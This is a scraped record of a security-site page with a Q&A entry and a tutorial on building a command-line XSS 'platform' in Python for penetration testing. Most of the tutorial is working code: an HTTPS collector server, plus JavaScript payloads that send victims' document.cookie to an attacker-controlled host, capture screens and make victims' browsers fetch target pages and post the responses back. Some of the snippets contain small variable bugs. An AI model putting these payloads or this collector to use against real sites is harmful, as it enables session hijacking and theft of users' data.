[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fgOsuRTf73zdC20svh1OAcuHxMvkcVRaTPcpjkqRydgA":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":50,"createdAt":50,"_status":49},770,"How can an attacker retrieve a victim's cookies using the JavaScript payload from this XSS platform?","The platform serves an `index.js` file that, when loaded by the victim's browser, reads `document.cookie` and sends it to the server via an `Image` object (GET request) to avoid cross-origin issues. For example: `new Image().src = serverUrl + '?cookie=' + escape(document.cookie)`. The platform then saves the cookie data as a timestamped `.txt` file. This technique is part of the [XSS platform's modular functionality](\u002Fnews\u002Fpenetration-tool-development-command-line-implementation-of-xss-platform).","\u003Cp>The platform serves an `index.js` file that, when loaded by the victim&#39;s browser, reads `document.cookie` and sends it to the server via an `Image` object (GET request) to avoid cross-origin issues. For example: `new Image().src = serverUrl + &#39;?cookie=&#39; + escape(document.cookie)`. The platform then saves the cookie data as a timestamped `.txt` file. This technique is part of the [XSS platform&#39;s modular functionality](\u002Fnews\u002Fpenetration-tool-development-command-line-implementation-of-xss-platform).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-tool-development-command-line-implementation-of-xss-platform\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-can-an-attacker-retrieve-a-victims-cookies-using-the-javascript-payload-from-1777481813562","cookie theft, document.cookie, Image object, cross-origin, JavaScript payload",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":46,"updatedAt":47,"createdAt":48,"_status":49},189,"Penetration Tool Development - Command Line Implementation of XSS Platform","penetration-tool-development-command-line-implementation-of-xss-platform","Learn to create a lightweight XSS platform using Python CLI for internal network penetration testing, featuring HTTPS server setup and data extraction.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Using an XSS platform facilitates testing of XSS vulnerabilities and obtaining critical information. Currently, there are many available online XSS platforms, and one can also attempt to build their own XSS platform.\u003C\u002Fp>\u003Cp>However, if the test target cannot access external networks, we need to set up a lightweight XSS platform within the internal network, which must be easy to install and support cross-platform compatibility.\u003C\u002Fp>\u003Cp>I have not yet found a suitable open-source tool, so I plan to write a command-line tool using Python to provide the functionality of an XSS platform.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Design Approach\u003C\u002Fli>\u003Cli>Implementation Details\u003C\u002Fli>\u003Cli>Open Source Code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Design Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Following the XSS platform model, the command-line tool needs to provide the following functionalities:\u003C\u002Fp>\u003Cp>1. Create an HTTPS server to provide web services\u003C\u002Fp>\u003Cp>2. Distinguish different types of data, extract key content, and save it\u003C\u002Fp>\u003Cp>3. Modularize functions for easy secondary development\u003C\u002Fp>\u003Ch2>0x03 Implementation Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Create an HTTPS server to provide web services\u003C\u002Fh3>\u003Cp>First, create a certificate. You can use openssl with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate the certificate file https_svr_key.pem\u003C\u002Fp>\u003Cp>Python3 test code for creating an HTTPS server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>from http.server import SimpleHTTPRequestHandler\u003Cbr>from http import server\u003Cbr>import ssl\u003Cbr>\u003Cbr>class RequestHandler(SimpleHTTPRequestHandler):\u003Cbr>    def do_GET(self):\u003Cbr>        f = self.send_head()\u003Cbr>        if f:\u003Cbr>            self.copyfile(f, self.wfile)\u003Cbr>            f.close()\u003Cbr>\u003Cbr>port = 443\u003Cbr>httpd = server.HTTPServer((\"0.0.0.0\", port), RequestHandler)\u003Cbr>\u003Cbr>httpd.socket = ssl.wrap_socket(httpd.socket, certfile=\"https_svr_key.pem\", server_side=True)\u003Cbr>\u003Cbr>print(\"HTTPS Server listening on 0.0.0.0:%d\" % port)\u003Cbr>httpd.serve_forever()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The above code will create a WEB server supporting HTTPS protocol, with functionality similar to python -m SimpleHTTPServer 8000\u003C\u002Fp>\u003Ch3>2. Distinguish different data, extract key content and save\u003C\u002Fh3>\u003Cp>Need to customize the processing module RequestHandler to handle GET and POST packets\u003C\u002Fp>\u003Cp>The code for handling GET packets is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class RequestHandler(SimpleHTTPRequestHandler):\u003Cbr>    def do_GET(self):\u003Cbr>        f = self.send_head()\u003Cbr>        if f:\u003Cbr>            self.copyfile(f, self.wfile)\u003Cbr>            f.close()\u003Cbr>        print(self.headers[\"User-Agent\"])\u003Cbr>        if \"\u002Fcookie\" in self.path:\u003Cbr>            localtime = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime())\u003Cbr>            savePath = self.client_address[0] + \"-Cookie-\" + str(localtime) + \".txt\"\u003Cbr>            print(\"[+] New Cookie: \")\u003Cbr>            print(\"    Save as: \" + savePath)\u003Cbr>            cookieData = urllib.parse.unquote(self.path[15:])\u003Cbr>            file = open(savePath,'wb')\u003Cbr>            file.write(cookieData.encode())\u003Cbr>            file.close()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Among these, print(self.headers) is used to output the Header content of the GET request, which can be used to identify the user's browser\u003C\u002Fp>\u003Cp>To obtain user cookies, a custom format is adopted here. If the GET request address contains the string 'cookie', the request content is saved as a file to store the acquired user cookies.\u003C\u002Fp>\u003Cp>The code for processing POST packets is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class RequestHandler(SimpleHTTPRequestHandler):\u003Cbr>    def do_POST(self):\u003Cbr>        data = \"Success\"\u003Cbr>        self.send_response(200)\u003Cbr>        self.send_header(\"Content-type\", \"text\u002Fplain\")\u003Cbr>        self.end_headers()\u003Cbr>        self.wfile.write(data.encode(\"utf-8\"))\u003Cbr>        req_datas = self.rfile.read(int(self.headers[\"content-length\"]))\u003Cbr>        print(self.headers[\"User-Agent\"])\u003Cbr>        if self.path == \"\u002Fscreen\":\u003Cbr>            localtime = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime())\u003Cbr>            savePath = self.client_address[0] + \"-CaptureScreen-\" + str(localtime) + \".png\"\u003Cbr>            print(\"[+] New CaptureScreen: \")\u003Cbr>            print(\"    Save as: \" + savePath)\u003Cbr>            base64str = urllib.parse.unquote(req_datas.decode())\u003Cbr>            base64str = base64str[33:]\u003Cbr>            imgData = base64.b64decode(base64str)\u003Cbr>            file = open(savePath,'wb')\u003Cbr>            file.write(imgData)\u003Cbr>            file.close()\u003Cbr>        elif self.path == \"\u002Fdata\":\u003Cbr>            localtime = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime())\u003Cbr>            savePath = self.client_address[0] + \"-XMLHttpRequest-\" + str(localtime) + \".html\"\u003Cbr>            httpData = urllib.parse.unquote(req_datas.decode())\u003Cbr>            index = httpData.index(';data=')\u003Cbr>            targetURL = httpData[9:index]\u003Cbr>            responseData = httpData[index+6:]\u003Cbr>            print(\"[+] New XMLHttpRequest\")\u003Cbr>            print(\"    TargetURL: \" + targetURL)\u003Cbr>            print(\"    Save as: \" + savePath)\u003Cbr>            file = open(savePath,'wb')\u003Cbr>            file.write(responseData.encode())\u003Cbr>            file.close()\u003Cbr>        else:\u003Cbr>            print(req_datas.decode())\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The above code will uniformly reply with the text content \"Success\" and a status code of 200 for POST packets.\u003C\u002Fp>\u003Cp>It evaluates the address of the POST request, corresponding to the following three functions respectively:\u003C\u002Fp>\u003Ch4>(1) Save user screen capture\u003C\u002Fh4>\u003Cp>Request address is \u002Fscreen\u003C\u002Fp>\u003Cp>Extract image data from POST request parameters, perform Base64 decoding, and save\u003C\u002Fp>\u003Ch4>(2) Control user to send HTTP data packets to a specified address and save the returned result\u003C\u002Fh4>\u003Cp>Request address is \u002Fdata\u003C\u002Fp>\u003Cp>Extract data from POST request parameters and save\u003C\u002Fp>\u003Ch4>(3) Default functionality\u003C\u002Fh4>\u003Cp>Command line output of POST request parameters\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>When extracting data content for the above three functionalities, decoding with urllib.parse.unquote() is required\u003C\u002Fp>\u003Ch3>3. Modular functionality for easy secondary development\u003C\u002Fh3>\u003Cp>The default access address for the XSS platform is: https:\u002F\u002F\u003Cxss platform=\"\" url=\"\">\u002Findex.js\u003C\u002Fxss>\u003C\u002Fp>\u003Cp>After creating the HTTPS server, you only need to edit index.js in the same directory as the Python script\u003C\u002Fp>\u003Cp>The following describes the functionalities implemented by these two js scripts:\u003C\u002Fp>\u003Ch4>(1) Retrieve user cookies\u003C\u002Fh4>\u003Cp>To read user cookies, use document.cookie\u003C\u002Fp>\u003Cp>When returning cookie data, to avoid cross-origin issues, you can use the Image object. Example code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var serverUrl = \"https:\u002F\u002F\u003Cxss platform=\"\" ip=\"\">\u002Fcookie\";\u002F\u002Fchange this\u003Cbr>var newimg = new Image();\u003Cbr>newimg.src=serverUrl+\"?cookie=\"+escape(document.cookie);\u003C\u002Fxss>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Using the Image object only allows sending GET requests, cannot obtain response content, and can only determine whether there is a response through onerror and onload events\u003C\u002Fp>\u003Ch4>(2) Sending HTTP requests via JavaScript\u003C\u002Fh4>\u003Cp>HTTP requests support GET and POST, and also need to distinguish between synchronous and asynchronous methods\u003C\u002Fp>\u003Cp>For synchronous methods, once the call starts, the caller must wait until the method call returns before proceeding with subsequent actions. To send the request result back to the server, you can obtain the return result of the data packet via return and then transmit it back\u003C\u002Fp>\u003Cp>For asynchronous methods, once the call starts, the method call returns immediately. To send the request result back to the server, this can be achieved through a callback function\u003C\u002Fp>\u003Cp>A simple understanding of the callback function: a function can be called as a parameter in another function\u003C\u002Fp>\u003Cp>For example, the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function test1(callback)\u003Cbr>{ \u003Cbr>    a=1     \u003Cbr>    callback(a)\u003Cbr>}\u003Cbr>test1(function(x){console.log(x)})\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After executing the code, 1 will be output to the console\u003C\u002Fp>\u003Cp>In summary, to send a GET data packet to a specified URL and return the request result to the server, two methods can be used:\u003C\u002Fp>\u003Cp>Method 1: Synchronous method\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function initialize() {\u003Cbr>    var xmlHttp;\u003Cbr>    if (window.XMLHttpRequest)\u003Cbr>    {\u002F\u002F code for IE7+, Firefox, Chrome, Opera, Safari\u003Cbr>        xmlhttp=new XMLHttpRequest();\u003Cbr>    }\u003Cbr>    else\u003Cbr>    {\u002F\u002F code for IE6, IE5\u003Cbr>        xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\u003Cbr>    }\u003Cbr>    return xmlHttp;\u003Cbr>}\u003Cbr>function getSynchronous(url) {\u003Cbr>    var xmlHttp=initialize();\u003Cbr>    xmlhttp.open(\"GET\",url,false);\u003Cbr>    xmlhttp.send();\u003Cbr>    return xmlhttp.responseText;\u003Cbr>}\u003Cbr>function postSynchronous(url, data, type) {\u003Cbr>    var xmlHttp=initialize();\u003Cbr>    xmlhttp.open(\"POST\",url,false);\u003Cbr>    xmlhttp.setRequestHeader(\"Content-type\",type);\u003Cbr>    xmlhttp.send(encodeURIComponent(data));\u003Cbr>    return xmlhttp.responseText;\u003Cbr>}\u003Cbr>var xmlhttp;\u003Cbr>var serverUrl = \"https:\u002F\u002F\u003Cxss platform=\"\" ip=\"\">\u002Fdata\";\u003Cbr>var targetUrl = \"\u003Ctarget url=\"\">\" + \"?t=\" + Math.random();\u003Cbr>responseData=getSynchronous(targetUrl);\u003Cbr>postSynchronous(serverUrl,\"location=\" + targetUrl + \";data=\" + responseData, \"application\u002Fx-www-form-urlencoded\");\u003C\u002Ftarget>\u003C\u002Fxss>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Method 2: Asynchronous Method + Callback Function\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function initialize() {\u003Cbr>    var xmlHttp;\u003Cbr>    if (window.XMLHttpRequest)\u003Cbr>    {\u002F\u002F code for IE7+, Firefox, Chrome, Opera, Safari\u003Cbr>        xmlhttp = new XMLHttpRequest();\u003Cbr>    }\u003Cbr>    else\u003Cbr>    {\u002F\u002F code for IE6, IE5\u003Cbr>        xmlhttp = new ActiveXObject(\"Microsoft.XMLHTTP\");\u003Cbr>    }\u003Cbr>    return xmlHttp;\u003Cbr>}\u003Cbr>function getAsynchronous(url, callback) {\u003Cbr>    var xmlHttp = initialize();\u003Cbr>    xmlhttp.open(\"GET\", url, true);\u003Cbr>    xmlhttp.send();\u003Cbr>    xmlhttp.onreadystatechange = function()\u003Cbr>    {\u003Cbr>        if (xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200)\u003Cbr>        {\u003Cbr>            if (callback)\u003Cbr>            {\u003Cbr>                callback(xmlhttp.responseText);\u003Cbr>            }\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003Cbr>function postAsynchronous(url, data, type, callback) {\u003Cbr>    var xmlHttp = initialize();\u003Cbr>    xmlhttp.open(\"POST\",url,true);\u003Cbr>    xmlhttp.setRequestHeader(\"Content-type\",type);\u003Cbr>    xmlhttp.send(encodeURIComponent(data));\u003Cbr>    xmlhttp.onreadystatechange=function()\u003Cbr>    {\u003Cbr>        if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200)\u003Cbr>        {\u003Cbr>            if (callback) \u003Cbr>            {\u003Cbr>                callback(a.responseText);\u003Cbr>            }\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003Cbr>var xmlhttp;\u003Cbr>var serverUrl = \"https:\u002F\u002F\u003Cxss platform=\"\" ip=\"\">\u002Fdata\"\u003Cbr>var targetUrl = \"\u003Ctarget url=\"\">\" + \"?t=\" + Math.random();\u003Cbr>getAsynchronous(targetUrl, function(responseText){postAsynchronous(serverUrl, \"location=\" + targetUrl + \";data=\" + responseText, \"application\u002Fx-www-form-urlencoded\", \"\");});\u003C\u002Ftarget>\u003C\u002Fxss>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Adding the parameter \"?t=\" + Math.random() when sending the request is to prevent receiving cached pages from the server.\u003C\u002Fp>\u003Cp>For Chrome browser, when sending HTTP requests for cross-origin access, Chrome will indicate that the request is blocked by the CORS policy, but this does not affect the sending and receiving of data.\u003C\u002Fp>\u003Ch2>0x04 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The complete code has been open-sourced, with the address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>pyXSSPlatform can be run directly from the command line and supports the following three functions:\u003C\u002Fp>\u003Cul>\u003Cli>GetCookie, obtains user cookies and saves them as .txt files\u003C\u002Fli>\u003Cli>CaptureScreen, captures the user's screen and saves it as a .png file\u003C\u002Fli>\u003Cli>GET\u002FPOST, controls the user to send HTTP data packets to a specified address, with results saved as .html files\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Usage:\u003C\u002Fp>\u003Ch4>(1) Generate a self-signed certificate using openssl, command example:\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Edit the file index.js\u003C\u002Fh4>\u003Cp>Fill in the JS code to be loaded, code templates can refer to files in Payload_Template\u003C\u002Fp>\u003Ch4>(3) Start the WEB server, command example:\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>pyXSSPlatform.py 192.168.1.1 443 https_svr_key.pem\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>At this point, the startup address of the XSS platform is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002F192.168.1.1\u002Findex.js\u003C\u002Fp>\u003Cp>You can modify index.js at any time to control users to execute different functions\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of building an HTTPS server with Python and implementing an XSS platform via command line, using the open-source tool pyXSSPlatform. It is easy to operate, supports cross-platform running, and allows for secondary development.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",7,"published","2026-02-02T07:38:21.199Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Build XSS Platform with Python CLI for Penetration Testing","XSS platform, penetration testing, Python command line, HTTPS server, cookie capture, cross-platform",false,[],{"docs":41,"hasNextPage":38},[42,43,4,44,45],772,771,769,768,{"title":30,"description":30,"image":30},"2026-07-24T02:07:19.299Z","2026-07-23T16:02:04.361Z","draft","2026-07-23T16:14:38.657Z"]